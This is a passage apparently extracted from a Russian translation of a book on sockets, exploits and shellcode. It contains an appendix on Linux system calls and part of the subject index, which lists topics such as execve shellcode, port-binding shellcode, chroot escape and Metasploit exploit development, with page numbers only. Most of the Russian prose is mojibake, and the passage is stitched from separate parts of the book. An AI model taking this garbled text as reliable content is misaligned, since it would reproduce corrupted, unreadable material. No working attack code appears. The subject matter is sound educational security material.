ñ ôëàãîì O_CREATE. Âûçîâ open âîçâðàùàåò äåñêðèïòîð îòêðûòîãî ôàéëà,
êîòîðûé çàòåì ïåðåäàåòñÿ ñèñòåìíûì âûçîâàì read (äëÿ ÷òåíèÿ), write (äëÿ
çàïèñè) è close (äëÿ çàêðûòèÿ).

close (дескриптор файла)

Ñèñòåìíîìó âûçîâó close ïåðåäàåòñÿ äåñêðèïòîð ôàéëà, âîçâðàùåííûé âûçî-
âîì open.

read (дескритор файла, указатель на буфер,

число байтов)

Ñèñòåìíûé âûçîâ read ïîçâîëÿåò ïðî÷èòàòü äàííûå èç îòêðûòîãî ôàéëà, çà-
äàííîãî ñâîèì äåñêðèïòîðîì, â áóôåð. Â òðåòüåì àðãóìåíòå óêàçûâàåòñÿ,
ñêîëüêî áàéòîâ ÷èòàòü.

write (дескритор файла, указатель на буфер,

число байтов)

Ñèñòåìíûé âûçîâ write èñïîëüçóåòñÿ äëÿ çàïèñè â ôàéë, çàäàííûé äåñêðèïòî-
ðîì, êîòîðûé áûë ïîëó÷åí îò âûçîâà open. Çàïèñûâàåòñÿ óêàçàííîå ÷èñëî
áàéòîâ (òðåòèé àðãóìåíò) èç áóôåðà (âòîðîé àðãóìåíò). Äàííûå ìîæíî ïè-
ñàòü òàêæå â äåñêðèïòîð ñîêåòà, îòêðûòîãî ôóíêöèåé socket.

execve (файл, файл + аргументы,

переменные окружения)

Âñåìîãóùèé âûçîâ execve ïðèìåíÿåòñÿ äëÿ çàïóñêà ïðîãðàììû. Ïåðâûé àðãó-
ìåíò – ýòî èìÿ ôàéëà ïðîãðàììû, âòîðîé – ìàññèâ, ñîäåðæàùèé èìÿ ïðî-
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ãðàììû è ïåðåäàâàåìûå åé àðãóìåíòû. Â òðåòüåì ìîãóò ñîäåðæàòüñÿ äàííûå
î ïåðåìåííûõ îêðóæåíèÿ.

socketcall (номер функции, аргументы)

Ñèñòåìíûé âûçîâ socketcall èìååòñÿ òîëüêî â ñèñòåìå Linux è ïðèìåíÿåòñÿ
äëÿ âûçîâà òàêèõ ôóíêöèé ðàáîòû ñ ñîêåòàìè, êàê bind, accept è, êîíå÷íî æå,
socket. Ïåðâûé àðãóìåíò – ýòî íîìåð íóæíîé ôóíêöèè, à âòîðîé – óêàçàòåëü
íà ñòðóêòóðó, ñîäåðæàùóþ ïàðàìåòðû, ïåðåäàâàåìûå ýòîé ôóíêöèè. Íàïðè-
ìåð, åñëè íóæíî âûïîëíèòü âûçîâ socket(2,1,6), òî ïåðâûì àðãóìåíòîì áóäåò
íîìåð ôóíêöèè socket, à âòîðûì – óêàçàòåëü íà ñòðóêòóðó, ñîäåðæàùóþ ÷èñëà
2, 1, 6. Ïåðå÷åíü ïîääåðæèâàåìûõ ôóíêöèé, èõ íîìåðà è îïèñàíèå ïàðàìåò-
ðîâ ìîæíî íàéòè íà ñòðàíèöå ðóêîâîäñòâà.

socket (адресное семейство, тип, протокол)

Ñèñòåìíûé âûçîâ socket ñîçäàåò ñåòåâîé ñîêåò. Ïåðâûé àðãóìåíò îïðåäåëÿåò
àäðåñíîå ñåìåéñòâî, íàïðèìåð, AF_INET (â ñëó÷àå ïðîòîêîëà IP), âòîðîé –
òèï ñîêåòà. Ìîæíî, â ÷àñòíîñòè, ñîçäàòü ïðîñòîé (raw) ñîêåò äëÿ îòïðàâêè
â ñåòü ñïåöèàëüíî ïîäãîòîâëåííûõ ïàêåòîâ. Òðåòèé àðãóìåíò îïðåäåëÿåò
êîíêðåòíûé ïðîòîêîë, ïî êîòîðîìó áóäåò âåñòèñü îáìåí äàííûìè ÷åðåç ýòîò
ñîêåò, íàïðèìåð, IP.

bind (дескриптор сокета, структура sockaddr,

размер второго аргумента)

Ñèñòåìíûé âûçîâ bind àññîöèèðóåò ñ ñîêåòîì ëîêàëüíûé àäðåñ. Ïåðâûì àðãó-
ìåíòîì äîëæåí áûòü äåñêðèïòîð ñîêåòà, ïîëó÷åííûé îò ôóíêöèè socket, âòî-
ðûì – ñòðóêòóðà, â êîòîðîé õðàíÿòñÿ òèï ïðîòîêîëà, íîìåð ïîðòà è IP-àäðåñ,
ê êîòîðîìó ïðèâÿçûâàåòñÿ ñîêåò.

listen (дескриптор сокета, максимальный

размер очереди соединений)

Ïðèâÿçàâ ñîêåò ê ëîêàëüíîìó àäðåñó, ìîæíî ïåðåâåñòè åãî â ðåæèì ïðîñëó-
øèâàíèÿ ïîðòà, òî åñòü îæèäàíèÿ ïðèõîäÿùèõ íà íåãî çàïðîñîâ íà ñîåäèíå-
íèå. Äëÿ ýòîãî  ñëóæèò ñèñòåìíûé âûçîâ l isten, êîòîðîìó ïåðåäàåòñÿ äåñêðèï-
òîð, ïîëó÷åííûé îò ôóíêöèè socket, è ìàêñèìàëüíîå ÷èñëî ñîåäèíåíèé
â î÷åðåäè. Åñëè ðàçìåð î÷åðåäè ðàâåí 1 è ïðèõîäèò äâà çàïðîñà, ïåðâûé áóäåò
ïîìåùåí â î÷åðåäü, à âòîðîìó áóäåò îòêàçàíî â îáñëóæèâàíèè.



758 Защита от взлома: сокеты, эксплойты и shell#код

accept (дескриптор сокета, структура sockaddr,

размер второго аргумента)

Ñèñòåìíûé âûçîâ accept ïîçâîëÿåò ïðèíÿòü çàïðîñ íà ñîåäèíåíèå, ïîñòóïèâ-
øèé â ïðîñëóøèâàþùèé ñîêåò. Âûçîâ âîçâðàùàåò äåñêðèïòîð íîâîãî ñîêåòà,
÷åðåç êîòîðûé ìîæíî âåñòè îáìåí äàííûìè. Ïåðâûì àðãóìåíòîì accept äîë-
æåí áûòü äåñêðèïòîð, ïîëó÷åííûé îò ôóíêöèè socket, âòîðûì – óêàçàòåëü íà
ñòðóêòóðó sockaddr. Äîïóñêàåòñÿ âìåñòî óêàçàòåëÿ çàäàòü NULL, â ïðîòèâíîì
ñëó÷àå â ñòðóêòóðó áóäåò ïîìåùåíà èíôîðìàöèÿ î êëèåíòå, ïðèñëàâøåì çà-
ïðîñ. Òàê ìîæíî, ê ïðèìåðó, óçíàòü IP-àäðåñ êëèåíòà. Åñëè âòîðîé àðãóìåíò
îòëè÷åí îò NULL, òî â òðåòüåì äîëæåí áûòü óêàçàí ðàçìåð ñòðóêòóðû sockaddr
â áàéòàõ.
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break, èíñòðóêöèÿ, 118
BSD-ñîêåòû

è Winsock, 226
è íàïèñàíèå ïåðåíîñèìûõ

ñåòåâûõ ïðîãðàìì, 336, 396
êëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà

TCP, 149
êëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà

UDP, 156
ìíîãîïîòî÷íîñòü

è ïàðàëëåëèçì, 191
íàçíà÷åíèå, 148
îïöèè ñîêåòîâ, 166

ñêàíèðîâàíèå ñåòè ñ ïîìîùüþ
TCP-ñîêåòîâ, 179

ñêàíèðîâàíèå ñåòè ñ ïîìîùüþ
UDP-ñîêåòîâ, 169

BSTR, òèï äàííûõ, 653

C

C#, ÿçûê ïðîãðàììèðîâàíèÿ
êëàññû, 66
ìåòîäû, 66
îñíîâàíèÿ äëÿ ïåðåõîäà íà, 59
ïîòîê óïðàâëåíèÿ, 64
ïîòîêè, 69
ïðîãðàììà «Çäðàâñòâóé, ìèð», 62
ðàçáîð IP-àäðåñà â êîìàíäíîé

ñòðîêå, ïðèìåð, 70
òèïû äàííûõ, 62
õàðàêòåðèñòèêè ÿçûêà, 60

C, ÿçûê ïðîãðàììèðîâàíèÿ
àññåìáëåðíàÿ âåðñèÿ

ïðîãðàììû, 404
è BSD-ñîêåòû, 148
ïåðåíîñ íà ÿçûê NASL, 131
ïåðåíîñèìîñòü, 278
ïîòîê óïðàâëåíèÿ, 40
ïðîãðàììà «Çäðàâñòâóé, ìèð», 36
òèïû äàííûõ, 37
õàðàêòåðèñòèêè ÿçûêà, 34

C++, ÿçûê ïðîãðàììèðîâàíèÿ
êëàññû, 42
ïîòîê óïðàâëåíèÿ, 40
ðÿäû Ôóðüå, ïðèìåðû, 44
òèïû äàííûõ, 37
ôóíêöèè, 41
õàðàêòåðèñòèêè ÿçûêà, 34
øàáëîíû è áèáëèîòåêà ATL, 651

CALL EAX, êîìàíäà
âñòàâêà àäðåñà âîçâðàòà, 612
ïîèñê àäðåñà âîçâðàòà, 609



Предметный указатель 767

CALL, êîìàíäà
ïåðåçàïèñü àäðåñà âîçâðàòà, 605
ïðèìåíåíèå â shell-êîäå

äëÿ ðåøåíèÿ ïðîáëåìû
àäðåñàöèè, 407

CANVAS, ïðîãðàììà, 97
CComObject, êëàññ, 659
CComPtr, êëàññ, 653
CComQIPtr, êëàññ, 653
CConsoleApp, êëàññ, 702
CGI (Common Gateway Interface), 79
CGIDIRS, ìàññèâ, 715
char, òèï äàííûõ, 37
chroot-òþðüìà, 420
close, ñèñòåìíûé âûçîâ, 756
close/closesocket, ôóíêöèè, 370
closesocket, ôóíêöèÿ, 205
CLSID, 649
ñîñlasc, àòðèáóò, 674
CodeRedII, ÷åðâü, 261
COM. Ñì. Component Object Model
COM EXE-ñåðâåð

ðåàëèçàöèÿ, 676
Component Object Model (COM)

èíòåðôåéñû, 645
îáçîð, 644
îáúåêòû, 645
îïèñàíèå, 698
ðåàëèçàöèÿ COM-îáúåêòà, 647
ðåàëèçàöèÿ âíóòðèïðîöåññíîãî

ñåðâåðà, 649
ðåãèñòðàöèÿ, 647
ñðåäà èñïîëíåíèÿ, 646

COMSupport.h, 696
COM-èíòåðôåéñû
IUnknown, 645

îáçîð, 645
ñîãëàøåíèå î âûçîâå stdcall, 645

COM-îáúåêòû, 645
COM-ðàñøèðåíèÿ, 675

connect(), ôóíêöèÿ
â ïåðåíîñèìûõ ñåòåâûõ

ïðîãðàììàõ, 346
è UDP-ñîêåòû, 157
ñâÿçü ñ îòïðàâêîé

UDP-äàòàãðàììû, 161
CVS (Concurrent Version System),

ïðîòîêîëû, 504

D

DatagramPacket, êëàññ, 266
DatagramSocket, êëàññ, 266
DB_FILENAME, êîíñòàíòà, 715
DefaultTarget, êëþ÷, 634
Description, êëþ÷, 634
DLL (Dynamic Link Library)
ISM DLL, 596
Winsock, 198
Winsock, êîìïîíîâêà ñ, 201

âû÷èñëåíèå àäðåñà âîçâðàòà, 607
îïðåäåëåíèå, 740
ôóíêöèè, ýêñïîðòèðóåìûå

âíóòðèïðîöåññíûì
COM-ñåðâåðîì, 667

DllCanUnloadNow, ôóíêöèÿ, 650
DllGetClassObject, ôóíêöèÿ, 650
DllRegisterServer, ôóíêöèÿ, 650
DllUnregisterServer, ôóíêöèÿ, 651
dlmalloc (Doug Lea Malloc), 545
DoS (îòêàç îò îáñëóæèâàíèÿ), 227
double, òèï äàííûõ, 37
dup2, ñèñòåìíûé âûçîâ, 461

E

EAX, ðåãèñòð
è ïåðåçàïèñü àäðåñà âîçâðàòà, 606
è ñèñòåìíûå âûçîâû

â FreeBSD, 412
è ñèñòåìíûå âûçîâû â Linux, 411
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eEye, êîìïàíèÿ, 596
EIP, ðåãèñòð

âñòàâêà àäðåñà âîçâðàòà, 613
è äîðîæêà èç NOP-êîìàíä, 617
ïåðåçàïèñü àäðåñà âîçâðàòà, 603
ïåðåçàïèñü ñãåíåðèðîâàííîé

ïîñëåäîâàòåëüíîñòüþ, 599
ELF, ôîðìàò îáúåêòíîãî ôàéëà

àññåìáëåðíàÿ âåðñèÿ
C-ïðîãðàììû, 404

è ïîâòîðíîå èñïîëüçîâàíèå
ïåðåìåííûõ ïðîãðàììû, 490

ïîèñê êîäîâ îïåðàöèé, 611
empty.cpp, 215
END_ENTRYPOINT, ìàêðîñ, 679
errno, ãëîáàëüíàÿ ïåðåìåííàÿ, 195
exec, 287
execve, shell-êîä

â óäàëåííîì ýêñïëîéòå, 413
çàïóñê /bin/sh, 417
è îøèáêà â man ïðè êîíòðîëå

âõîäíûõ äàííûõ, 517
íà ÿçûêå C, 446
ðåàëèçàöèÿ â FreeBSD ìåòîäîì

jmp/call, 447
ðåàëèçàöèÿ â FreeBSD ìåòîäîì

çàòàëêèâàíèÿ àðãóìåíòîâ
â ñòåê, 448

ðåàëèçàöèÿ â Linux ìåòîäîì
jmp/call, 453

ðåàëèçàöèÿ â Linux ìåòîäîì
çàòàëêèâàíèÿ àðãóìåíòîâ
â ñòåê, 454

óêàçàòåëü íà ñòðîêó ñ èìåíåì
ïðîãðàììû, 406

execve, ñèñòåìíûé âûçîâ, 462, 756
exit(), ñèñòåìíûé âûçîâ, 756

â Linux è FreeBSD, 411
ðåàëèçàöèÿ, 410

EXITFUNC, ïàðàìåòð, 621

exploit(), ìåòîä
â êàðêàñå Metasploit, 630
êîíñòðóèðîâàíèå

è âûïîëíåíèå, 635

F

float, òèï äàííûõ, 37
FOLD, êîìàíäà, 575
foreach, öèêë, 117
fork, ñèñòåìíûé âûçîâ

è ïëàòôîðìà Windows, 332
è ñîçäàíèå ïðîöåññà, 287

fprintf, ôóíêöèÿ, 511
FPSE (Front Page Service

Extensions), 227
FreeBSD

íîìåðà ñèñòåìíûõ âûçîâîâ, 410
ïðèìåð îáðàùåíèÿ ê ñèñòåìíîìó

âûçîâó write, 443
óòèëèòà ktrace, 401

G

GDB, îòëàä÷èê GNU
èíñòðóìåíòû äëÿ ðàçðàáîòêè

shell-êîäà, 401
îïðåäåëåíèå, 740
ïîèñê àäðåñà ñòðîêè

â ïàìÿòè, 488
ïîëó÷åíèå àäðåñà ìàññèâà, 479
ïðåîáðàçîâàíèå shell-êîäà äëÿ

îáðàùåíèÿ ê setuid, 419
GET, ìåòîä çàïðîñà ïî ïðîòîêîëó

HTTP, 596
gethostbyname(), ôóíêöèÿ, 203
getInetAddress(), ôóíêöèÿ, 235
getLocalAddress(), ôóíêöèÿ, 235
getLocalSocketAddress(), ôóíêöèÿ, 235
GetOpt, ìîäóëü Perl, 94
getpeername(), ôóíêöèÿ, 496
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H

hack.h, 215
hexdisp(), ôóíêöèÿ

â ïðîãðàììå ñêàíèðîâàíèÿ
ñ ïîìîùüþ UDP-ñîêåòà, 177

â ñêàíåðå RPC-ïðîãðàìì, 189
HKEY_CLASSES_ROOT\CLSID,

êëþ÷ ðååñòðà, 649
hostent, ñòðóêòóðà, 203
htons(), ôóíêöèÿ

è îòïðàâêà UDP-äàòàãðàììû, 161
ïðåîáðàçîâàíèå íîìåðà

ïîðòà, 204
HTTP 1.1, 737

I

ICMP, çàãîëîâî÷íûé ôàéë, 381
IDL, ÿçûê îïðåäåëåíèÿ

èíòåðôåéñîâ, 659
IDS, ñèñòåìà îáíàðóæåíèÿ

âòîðæåíèé, 435
IEndPoint, èíòåðôåéñ, 688
IEndPointCollection, èíòåðôåéñ, 686
INADDR_ANY, êîíñòàíòà, 165
InetAddress, êëàññ, 239
InetSocketAddress, êëàññ, 239
Inl ineEgg, ïàêåò, 96
InprocServer32, êëþ÷ ðååñòðà, 649
InputStream, êëàññ, 238, 250
INT 3, êîìàíäà, 613
int, òèï äàííûõ, 37
interface, àòðèáóò, 673
ioctl() / ioctlsocket(), ôóíêöèè, 375
IPS (ñèñòåìà çàùèòû

îò âòîðæåíèé), 586
IPv4, çàãîëîâî÷íûé ôàéë, 379
IP-àäðåñ

â ïðîãðàììå ñêà÷èâàíèÿ
Web-ñòðàíèö, 206

è îáìåí äàííûìè ïî ïðîòîêîëàì
TCP/UDP, 235

êëàññ InetAddress, 239
ëîêàëüíûé, 383
ðàçáîð àäðåñà ïîäñåòè íà Perl, 84
ðàçáîð àäðåñà, çàäàííîãî

â êîìàíäíîé ñòðîêå, 70
IRpcEnum, èíòåðôåéñ, 686
isnull(), ôóíêöèÿ â ÿçûêå NASL, 113

J

Java Sockets
ââîä/âûâîä òåêñòà, 242
íàçíà÷åíèå, 234
ïðîãðàììà WormCatcher, 260
ïðîãðàììèðîâàíèå

TCP-êëèåíòà, 235
ïðîãðàììèðîâàíèå

TCP-ñåðâåðà, 246
ïðîãðàììèðîâàíèå UDP-êëèåíòà

è ñåðâåðà, 266
ðàáîòà ñ íåñêîëüêèìè

ñîåäèíåíèÿìè, 251
ðàçðåøåíèå IP-àäðåñîâ

è äîìåííûõ èìåí, 239
Java, ÿçûê ïðîãðàììèðîâàíèÿ

è Ñ#, 59
êëàññû, 54
ìåòîäû, 54
îáçîð, 48
ïîòîê óïðàâëåíèÿ, 52
ïðèìåð ïðîãðàììû, ïîëó÷åíèå

HTTP-çàãîëîâêîâ, 57
ïðîãðàììà «Çäðàâñòâóé, ìèð», 50
òèïû äàííûõ, 51
õàðàêòåðèñòèêè ÿçûêà, 49

java.io, ïàêåò
â ïðîãðàììå NBTSTAT, 272
êëàññ LineNumberReader, 245

java.lang.Thread, êëàññ, 259
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java.net, ïàêåò, 234
â ïðîãðàììå NBTSTAT, 272
è ïðîãðàììèðîâàíèå

TCP-êëèåíòîâ, 235
java.util.Vector, êëàññ, 258
JCL  (job control language), ÿçûê

óïðàâëåíèÿ çàäàíèÿìè, 33
jmp, êîìàíäà, 407

K

kernel32.dll
àäðåñ íà÷àëà, 426
êàê òðàìïëèí, 610

Keys, êëþ÷, 634
ktrace, óòèëèòà, 401

L

LIBC, ñòàíäàðòíàÿ áèáëèîòåêà
îøèáêè ïðè ðàáîòå ñ öåëûìè

÷èñëàìè, 564
ïåðåïîëíåíèÿ ñòåêà, 537

l ibdl, áèáëèîòåêà, 313
l ibpcap, áèáëèîòåêà, 389
LibWhisker, èíñòðóìåíò äëÿ

ñêàíèðîâàíèÿ Web, 704
Linux

shell-êîä äëÿ âûõîäà
èç chroot-òþðüìû, 420

shell-êîä äëÿ èñïîëüçîâàíèÿ
ñóùåñòâóþùåãî äåñêðèïòîðà
ñîêåòà, 415

shell-êîä äëÿ ïðèâÿçêè
ê ïîðòó, 414, 464

êàê ïëàòôîðìà äëÿ íàïèñàíèÿ
ýêñïëîéòîâ, 198

ïðèìåð shell-êîäà, 442
ñèñòåìíûå âûçîâû

â shell-êîäå, 411

l isten(), ôóíêöèÿ
è ïðîãðàììèðîâàíèå ñåðâåðíûõ

ñîêåòîâ, 529
èñïîëüçîâàíèå â ïåðåíîñèìûõ

ñåòåâûõ ïðîãðàììàõ, 351
l isten, ñèñòåìíûé âûçîâ, 460, 757
Little endian, ïîðÿäîê áàéòîâ

íà ðàçíûõ ïðîöåññîðàõ, 285
îïðåäåëåíèå, 740

LocalServer32, êëþ÷ ðååñòðà, 649
LPORT, ïàðàìåòð, 621
ltrace, óòèëèòà, 479

M

MAKEWORD, ìàêðîñ
è îáúåêò WSADATA, 202
èñïîëüçîâàíèå â ïåðåíîñèìûõ

ñåòåâûõ ïðîãðàììàõ, 337
malloc, ôóíêöèÿ, 740
man, îøèáêà ïðè êîíòðîëå âõîäíûõ

äàííûõ, 517
match, ôóíêöèÿ â Perl, 87
MDAC (Microsoft Data Access

Components), 229
memcpy, ôóíêöèÿ, 740
memset, ôóíêöèÿ, 740
Metasploit Framework, êàðêàñ

áàçà äàååûõ î êîäàõ îïåðàöèé, 608
âûáîð âåêòîðà óïðàâëåíèÿ, 602
âûáîð ïîëåçíîé íàãðóçêè è

êîäèðîâùèêà, 619
âû÷èñëåíèå àäðåñà âîçâðàòà, 607
äîðîæêà èç NOP-êîìàíä, 617
èíòåãðèðîâàíèå ýêñïëîéòà â, 629
èñïîëüçîâàíèå, 588
èñïîëüçîâàíèå àäðåñà

âîçâðàòà, 612
íàõîæäåíèå ñìåùåíèÿ, 597
îáçîð, 588
îïðåäåëåíèå âåêòîðà àòàêè, 596
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îïðåäåëåíèå íåäîïóñòèìûõ
ñèìâîëîâ, 614

îïðåäåëåíèå îãðàíè÷åíèé íà
ðàçìåð, 615

ðàçðàáîòêà ýêñïëîéòîâ
ñ ïîìîùüþ, 595

Meterpreter, 619
Microsoft IDL (MIDL),

êîìïèëÿòîð, 651
Microsoft Internet Information Server

(IIS) 4.0, ïåðåïîëíåíèå áóôåðà
âûáîð âåêòîðà óïðàâëåíèÿ, 602
âûáîð ïîëåçíîé íàãðóçêè

è êîäèðîâùèêà, 619
âû÷èñëåíèå àäðåñà âîçâðàòà, 607
äîðîæêà èç NOP-êîìàíä, 617
èñïîëüçîâàíèå àäðåñà

âîçâðàòà, 612
íàõîæäåíèå ñìåùåíèÿ, 597
îïðåäåëåíèå âåêòîðà àòàêè, 595
îïðåäåëåíèå íåäîïóñòèìûõ

ñèìâîëîâ, 614
îïðåäåëåíèå îãðàíè÷åíèé

íà ðàçìåð, 615
ðàçðàáîòêà ýêñïëîéòà ñ ïîìîùüþ

msfconsole, 589
module, àòðèáóò, 672
Msf::Exploit, êëàññ, 637
msfcl i, èíòåðôåéñ ê  Metasploit, 588
msfconsole, èíòåðôåéñ ê Metasploit

äåìîíñòðàöèÿ, 589
íàçíà÷åíèå, 588

msfelfscan, óòèëèòà, 611
msfencode, óòèëèòà, 622
msfpayload, óòèëèòà, 620
msfpescan, óòèëèòà, 611
msfweb, èíòåðôåéñ ê Metasploit

ãåíåðèðîâàíèå ïîëåçíîé
íàãðóçêè, 626

íàçíà÷åíèå, 588

N

NASL  (Nessus Attack Scri pting
Language), ÿçûê
àðèôìåòè÷åñêèå îïåðàòîðû, 114
àññîöèàòèâíûå ìàññèâû, 111
âñòðîåííûå ôóíêöèè, 120
èíòåðïðåòàòîð êîìàíä, 122
èñòîðèÿ ñîçäàíèÿ, 108
êàíîíè÷åñêèé ñöåíàðèé, 127
êîììåíòàðèè, 110
êðèïòîãðàôè÷åñêèå ôóíêöèè, 122
íàçíà÷åíèå, 109
íàïèñàíèå ñöåíàðèåâ, 120
îïåðàòîðû âíå êàòåãîðèè, 113
îïåðàòîðû ðàáîòû

ñî ñòðîêàìè, 115
îïåðàòîðû ñðàâíåíèÿ, 114
ïåðåíîñ ïðîãðàìì, 131
ïîëüçîâàòåëüñêèå ôóíêöèè, 119
ñåòåâûå ôóíêöèè, 121
ñèíòàêñèñ, 110
ñòàíäàðòíûå ìàññèâû, 111
óïðàâëÿþùèå êîíñòðóêöèè, 117
ôóíêöèè èçâåùåíèÿ, 125
ôóíêöèè ìàíèïóëèðîâàíèÿ

ïàêåòàìè, 121
ôóíêöèè ìàíèïóëèðîâàíèÿ

ñòðîêàìè, 122
÷óâñòâèòåëüíîñòü ê ðåãèñòðó, 111

nasm, àññåìáëåð
äèçàññåìáëåð ndisasm, 494
êîìïèëÿöèÿ shell-êîäà, 499
ýêâèâàëåíò ïðîãðàììû íà C, 404

NBTSTAT, ïðîãðàììà, 267
Nessus, ïðîãðàììà, 108, 123, 196

áàçà çíàíèé, 109
NetBIOS Name Service

ðàñêðûòèå èíôîðìàöèè, 267
Netcat, ïðîãðàììà

è îòëàäêà ïðîãðàìì, 226
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ïðèìåíåíèå äëÿ àòàêè
íà ïåðåïîëíåíèå áóôåðà
â IIS 4.0, 597

new(), êîíñòðóêòîð êëàññà, 635
Nikto, ïðîãðàììà

áàçà äàííûõ îá óÿçâèìîñòÿõ, 705
îïèñàíèå, 704
ñðàâíåíèå ñ SP-Rebel, 737

NMAP, ïðîãðàììà
è BSD-ñîêåòû, 199
è ðàçáîð IP-àäðåñîâ, 70

NopDontFallThrough, ïåðåìåííàÿ
îêðóæåíèÿ, 630

ntdll.dll, 610
NULL, 113, 740

O

objdump, óòèëèòà, 401
OllyDbg, îòëàä÷èê, 598
open, ñèñòåìíûé âûçîâ, 756
OpenBSD

àòàêà íà ôîðìàòíóþ ñòðîêó, 507
OpenSSH, 570
OpenSSL SSLv2, ïåðåïîëíåíèå

áóôåðà èç-çà íåïðàâèëüíî
ñôîðìèðîâàííîãî êëèåíòñêîãî
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àòàêà íà ôîðìàòíóþ ñòðîêó, 508
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ñîçäàíèå êëèåíòñêîãî ñîêåòà, 149

Socket, êëàññ
ïðîãðàììèðîâàíèå
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socket, ñèñòåìíûé âûçîâ, 458, 757
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äëÿ ïðîòîêîëà UDP, 156
èñïîëüçîâàíèå BSD-ñîêåòîâ, 149
ïðîãðàììà WormCatcher, 260
ïðîãðàììèðîâàíèå êëèåíòñêèõ

ñîêåòîâ, 527

ïðîãðàììèðîâàíèå ñ ïîìîùüþ
Winsock, 207

Êîäèðîâàíèå ïîëåçíîé íàãðóçêè,
481, 619, 622, 630, 641

Êîäû îïåðàöèé
è áàçà äàííûõ Metasploit Opcode

Database, 608
è äîðîæêà èç NOP-êîìàíä, 617

Êîíñòðóêòîðû
êëàññà ServerSocket, 246
êëàññà Socket, 235

Êîíòðîëü âûõîäà çà ãðàíèöû, 36
Êîíòðîëüíàÿ ñóììà (â çàãîëîâêå

UDP), 157
Êó÷à, îïðåäåëåíèå, 742

Л

Ëîãè÷åñêèå îïåðàòîðû
â ÿçûêå NASL, 115
â ÿçûêå Perl, 83

Ëîæíûå ñðàáàòûâàíèÿ, 737
Ëîêàëüíûå ýêñïëîéòû

ãîíêè, ñâÿçàííûå
ñ ñèãíàëàìè, 516

íàïèñàíèå, 505

М

Ìàêðîñû
ATL, 658
BEGIN_ENTRY_POINT /

END_ENTRY_POINT, 679
Ìàññèâû

â ÿçûêå NASL, 80, 111
Ìàøèííûé ÿçûê, 743
Ìåæïðîöåññíûå êîììóíèêàöèè

(IPC), 148
Ìåæñåòåâîé ýêðàí, 523
Ìåòîä, îïðåäåëåíèå, 743



778 Защита от взлома: сокеты, эксплойты и shell#код

Ìíîãîïîòî÷íîñòü
â UNIX è Windows, 293
â ÿçûêå Java, 49
ðåàëèçàöèÿ, 191

Ìîìåíò ïðîâåðêè – ìîìåíò
èñïîëüçîâàíèÿ, òèï îøèáîê, 514

Ìüþòåêñ, 293

Н

Íàñëåäîâàíèå
â ÿçûêå C#, 60
â ÿçûêå C++, 35
â ÿçûêå Java, 49
èåðàðõèè êëàññîâ, 44
îïðåäåëåíèå, 743

Íåäîïóñòèìûå ñèìâîëû
â ïîëåçíîé íàãðóçêå, 619, 622
çàäàíèå, 633
è êîäèðîâùèêè, 641
îïðåäåëåíèå, 614
óñòðàíåíèå, 631

Íóëåâûå áàéòû, 414, 434, 614

О

Îáðàáîò÷èê ñèãíàëà, 516
Îáúåêòíî-îðèåíòèðîâàííîå

ïðîãðàììèðîâàíèå
äîñòîèíñòâà, 49
è ÿçûê C#, 60
îïðåäåëåíèå, 743
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ïðèìåíåíèå äëÿ ïðîãðàìì

ñ íåäîñòóïíûìè èñõîäíûìè
òåêñòàìè, 543, 598

П

Ïàêåòíàÿ ïóøêà, 731
Ïàìÿòü

çàòèðàíèå êó÷è, 544
è ïåðåíîñèìîñòü ïðîãðàìì, 324
è ïðîáëåìà àäðåñàöèè

â shell-êîäå, 406
ïåðåïîëíåíèå ñòåêà, 531

Ïåðåìåííûå îêðóæåíèÿ
äîñòóï èç Metasploit, 635
ñòðóêòóðà UserOpts, 632

Ïåðåíîñèìûå ñåòåâûå ïðîãðàììû
accept(), 354
API, 343
bind(), 348
BSD-ñîêåòû è Winsock, 336
close()/closesocket(), 370
connect(), 346
ioctl() / ioctlsocket(), 361
l isten(), 351
Pcap è WinPcap, 389
read() / write(), 343
recv() / recvfrom(), 366
select(), 358
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send() / sendto(), 363
setsockopt(), 372
socket(), 343
âîçâðàùàåìûå çíà÷åíèÿ, 338
îïðåäåëåíèå ëîêàëüíîãî IP-

àäðåñà, 383
ïîäëåæàùèå ïåðåíîñó

êîìïîíåíòû, 338
ïðîñòûå ñîêåòû, 378
ðàñøèðåíèÿ, îïðåäåëåííûå

â Winsock 2.0, 343
Ïåðåíîñèìûé êîä

32- è 64-ðàçðÿäíûå
ïëàòôîðìû, 333

áèáëèîòåêè, 311
äèðåêòèâû ïðåïðîöåññîðà, 281
èñïîëüçîâàíèå äèðåêòèâ

#ifdef, 281
ìíîãîïîòî÷íîñòü, 293
îáçîð, 280
îáðàáîòêà àðãóìåíòîâ, çàäàííûõ

â êîìàíäíîé ñòðîêå, 325
îïðåäåëåíèå îïåðàöèîííîé

ñèñòåìû, 283
ïîðÿäîê áàéòîâ, 285
ïðîãðàììèðîâàíèå äåìîíîâ

è Win32-ñåðâèñîâ, 317
ðàáîòà ñ êàòàëîãàìè, 307
ðàáîòà ñ ôàéëàìè, 304
ñèãíàëû, 302
ñèíõðîíèçàöèÿ ïîòîêîâ, 293
ñîçäàíèå è çàâåðøåíèå

ïðîöåññîâ, 287
óïðàâëåíèå ïàìÿòüþ, 324
öåëî÷èñëåííûå òèïû äàííûõ, 330

Ïåðåïîëíåíèå áóôåðà
àòàêà ñ èñïîëüçîâàíèåì

Winsock, 229
â ñåðâåðå UW POP2, 574
â ÿçûêàõ C/C++, 36
è NASL-ñöåíàðèè, 108

èç-çà íåïðàâèëüíî
ñôîðìèðîâàííîãî
êëèåíòñêîãî êëþ÷à, 549

îïðåäåëåíèå, 744
Ïåðåïîëíåíèå ñòåêà

êàê îäèí èç âèäîâ
Web-óÿçâèìîñòåé, 736

îáçîð, 532
îïðåäåëåíèå, 744
ïîèñê â ïðîãðàììàõ

ñ íåäîñòóïíûìè èñõîäíûìè
òåêñòàìè, 543

ïîèñê â ïðîãðàììàõ
ñ îòêðûòûìè èñõîäíûìè
òåêñòàìè, 537

Ïåðåïîëíåíèå öåëûõ ÷èñåë
îáçîð, 564
îáõîä ïðîâåðêè ðàçìåðà, 567, 744
ïðè óìíîæåíèè, 566

Ïåñî÷íèöà
â ÿçûêå Java, 50
îïðåäåëåíèå, 744

Ïëàòôîðìåííàÿ íåçàâèñèìîñòü
îïðåäåëåíèå, 744
ÿçûêà Java, 49

Ïîáèòîâûå îïåðàòîðû, 116
Ïîääåëêà TCP-ñîåäèíåíèÿ, 514
Ïîääåëêà Web-ñàéòà, 58
Ïîäñòàíîâêà, Perl, 87
Ïîëåçíàÿ íàãðóçêà

âûáîð â mfsconsole, 593
äîðîæêè èç NOP-êîìàíä, 617
